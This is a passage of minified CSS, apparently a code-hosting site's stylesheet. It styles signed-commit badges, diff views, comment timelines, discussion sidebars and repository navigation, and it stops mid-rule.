.dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) 